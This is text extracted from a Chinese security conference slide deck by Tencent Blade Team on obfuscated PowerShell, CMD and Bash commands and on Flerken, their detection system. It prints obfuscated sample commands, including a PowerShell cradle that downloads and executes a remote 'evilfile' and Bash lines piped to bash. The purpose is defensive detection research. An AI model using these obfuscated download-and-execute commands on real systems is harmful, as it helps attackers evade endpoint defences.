《CIS2019-貓鼠游戲 持續滲透中的高級命令混淆對抗_20191126(26頁).pdf》由會員分享,可在線閱讀,更多相關《CIS2019-貓鼠游戲 持續滲透中的高級命令混淆對抗_20191126(26頁).pdf(26頁珍藏版)》請在三個皮匠報告上搜索。
1、貓鼠游戲:持續滲透中的高級命令混淆對抗 張堯 曾智洋 Tencent Blade Team Tencent Blade Team 受邀參加Blackhat USA、DEFCON、HITB、CanSecWest、CSS、XCon、KCon等多個海內外頂級安全會議 多次受邀參加 海內外頂級安全會議 Amazon、小米、華為等多個品牌官方認可,獲小米安全年度最佳守護者,榮獲華為漏洞獎勵計劃官方認可 獲Amazon、小米、華為等多個品牌官方認可 為騰訊Tday、騰訊首屆技術文化周等活勱輸出泛安全影響力 輸出全行業 泛安全影響力 成功發現首個TensorFlow框架自身安全漏洞,并包攬TF已知前七個漏洞
2、 谷歌TensorFlow 成功發現SQLite存在嚴重漏洞,影響Chromium瀏覽器和大量Android、iOS應用 發現SQLite嚴重漏洞 成功破解Amazon Echo、Google Home、小米智能音箱等IoT設備 深耕IoT領域 目錄 1.問題背景:命令混淆 2.命令混淆方法 3.我們的解決方案 4.總結與討論 1.問題背景:命令混淆 1.1 什么是混淆?1.2 命令混淆 范疇:特指操作系統原生的三個命令行程序PS/CMD.exe/Bash 對象:命令行(Command Line)常規命令 方法:基于上述三種命令行程序靈活的語法進行變形 目標:繞過目標防御設備、端點保護系統、殺
3、軟的惡意命令檢測 1.3 攻擊路徑示例Windows篇 通過漏洞進入,如永恒之藍 目標主機 使用PS/CMD 遠控服務器 將混淆命令下載至內存 內存中利用 將混淆命令放入內存 IDS/EDR/殺軟 繞過 1.4 攻擊路徑示例Linux篇 目標主機 掃描滲透 遠控服務器 使用Bash 繞過 直接執行混淆命令 下載混淆命令并執行 企業內網 IDS/EDR 通過漏洞組件進入,如WebLogic 2.命令混淆方法 2.1 簡單的PowerShell混淆 Round 1 Invoke-Expression(New-Object System.Net.WebClient).DownloadString(h
4、ttp:/127.0.0.1/evilfile)Round 2 Round 3 invoke-exPressioN(+Ne+w+-+Object S)+(y+ste)+(m+.Net)+(.+WebCl)+ie+nt+()+.Dow)+(nlo+a)+dS+(tri+n)+(g(C+82h)+(t+tp:)+/+/1+(27+.0.)+(0.+1/ev+i)+(lfi+l+eC82).rEPlACE(C+82),StriNgCHaR34)Invoke-Expression(New-Object Net.WebClient).(DownloadString).Invoke(h+ttp:/127.
5、0.0.1/evilfile)echo$x77ho$u0000ami|bash 2.2 簡單的Bash混淆 Round 1 whoami Round 3 Round 5 echo$x77ho$u0000ami|$(echo$(echo aHMK|base64-d)ab|rev)echo$x77ho$u0000ami|$(echo hsab|rev)Round 2 echo whoami|bash Round 4 2.3 命令混淆工具 CMD命令混淆工具:Invoke-DOSfuscation Powershell命令混淆工具:Invoke-Obfuscation、PS_obfs Bash命令混
6、淆工具:Bashfuscator、bashfuck 2.4 混淆樣本示例 APT組織FIN 7中的混淆樣本 PowerShell無文件木馬混淆 Bashfuscator工具生成的混淆命令 3.我們的解決方案 3.1 新攻擊向量帶來的攻守失衡 新型混淆工具的開源讓新型混淆工具的開源讓混淆變得輕而易舉混淆變得輕而易舉 開源開源PS/CMD/BashPS/CMD/Bash混淆工具眾多混淆工具眾多 檢測方法寥寥無幾,誤報很多,檢測方法寥寥無幾,誤報很多,特別針對特別針對Linux混淆,業界尚無混淆,業界尚無已知解決方法已知解決方法 企業大規模服務器命令數據企業大規模服務器命令數據加劇命令混淆檢測難度加
7、劇命令混淆檢測難度 防御方案的不足進一步防御方案的不足進一步引起攻守的失衡引起攻守的失衡 3.2 提出解決方法Flerken:從一石二鳥到雙塔奇兵 出發點:是否存在統一的混淆檢測方案?出發點:是否存在統一的混淆檢測方案?NO 語法特征差異性語法特征差異性 統計特征差異性統計特征差異性 數據規模差異性數據規模差異性 大小寫敏感性 特殊字符使用 ,/,等區別 命令長短引起的統計特征差異性 Windows服務器規模遠小于Linux服務器,加劇了訓練數據的不平衡性 多特征維度深入分析 底層原因底層原因 Windows(CMD/Powershell)vs Linux(Bash)解決思路解決思路 Kind
8、le Octopus Linux命令混淆檢測方法命令混淆檢測方法 Windows命令混淆檢測方法命令混淆檢測方法 3.3 Kindle:基于可讀性的Windows混淆檢測 Windows(CMD/Powershell)混淆與常規業務命令隨機抽樣對比混淆與常規業務命令隨機抽樣對比 常人(常人(Human)可以有效識別混淆)可以有效識別混淆/非混淆命令非混淆命令 核心觀察核心觀察 根本問題:影響這一判斷的本質特征是什么?根本問題:影響這一判斷的本質特征是什么?可讀性程度可讀性程度 單詞可讀性單詞可讀性 符號可讀性符號可讀性 整體長度整體長度 元音比例元音比例 大寫字母比例大寫字母比例 首字母大寫首
9、字母大寫 字母重復字母重復 非混淆命令非混淆命令 常見字符常見字符 其他常規統計特征其他常規統計特征 符號比例符號比例 空格比例空格比例 結合結合語言學統計語言學統計 分析的研究洞察分析的研究洞察 完成完成單詞可讀性單詞可讀性設計設計 kindle07 kindlemysql kindllle kinDle kindleisanextremelypopulartool 3.3 Kindle:基于可讀性的Windows混淆檢測 線性線性判斷邏輯,增加告警可解釋性判斷邏輯,增加告警可解釋性 invoke-exPressioN(+Ne+w+-+Object S)+(y+ste)+(m+.Net)+(
10、.+WebCl)+ie+nt+()+.Dow)+(nlo+a)+dS+(tri+n)+(g(C+82h)+(t+tp:)+/+/1+(27+.0.)+(0.+1/ev+i)+(lfi+l+eC82).rEPlACE(C+82),StriNgCHaR34)set w=wscript/b/e:jscript%HOMEPATH%tt.txt echo tryvar fs=new ActiveXObject(Scripting.FileSystemObject);sh=new ActiveXObject(Wscript.Shell);p=sh.ExpandEnvironmentStrings(%HOM
11、+EPATH%)+pp.txt;var f=fs.OpenTextFile(p,1,false);for(i=0;i%HOMEPATH%tt.txt copy/y%TMP%unlock.cmd%HOMEPATH%pp.txt echo%w:=%|cmd 不可讀單詞比例不可讀單詞比例 符號比例符號比例 不可讀單詞比例不可讀單詞比例 不可讀符號比例不可讀符號比例 3.3 Kindle:基于可讀性的Windows混淆檢測 線性判斷邏輯,增加告警可解釋性線性判斷邏輯,增加告警可解釋性 分類器學習分類器學習 特征向量化特征向量化 3.4 Octopus:基于靜態分析的Bash混淆識別 混淆類型的研究混淆
12、類型的研究 多種混淆描述類型多種混淆描述類型 Linux混淆變形更為豐富,混淆變形更為豐富,但依然可用有限的語法模但依然可用有限的語法模式表達,表達效果取決于式表達,表達效果取決于模式描述的泛化程度模式描述的泛化程度 核心思路核心思路 3.4 Octopus:勱態語法解析下的Bash混淆識別 關鍵挑戰:能否讓語法解析關鍵挑戰:能否讓語法解析沙箱只解析,不執行?沙箱只解析,不執行?YES 3.4 Octopus bash 對近10萬行Bash源碼進行深入分析,標記關鍵執行凼數,并在最外層進行“去執行化”編譯得到的Bash,稱之為Octopus bash,可以還原混淆命令 進一步結合文本相似性算法Simhash,實現對于Bash命令混淆的高效識別 3.5 Flerken Demo Flerken demo:https:/flerken.pro GitHub link:https:/ 4.總結與討論 4.1 總結與討論 多平臺命令混淆檢測方案Flerken 近實時的企業服務器命令監控能力 已知樣本、工具,檢出率接近100%對抗升級、進一步優化 Octopus bash即將開源 盡管混淆語法模式非常多樣,但問題并不是Too Complex to be solved 檢測能力是核心,但不是全部 命令采集、數據裁剪 勱態分析下的統一解法?關注運營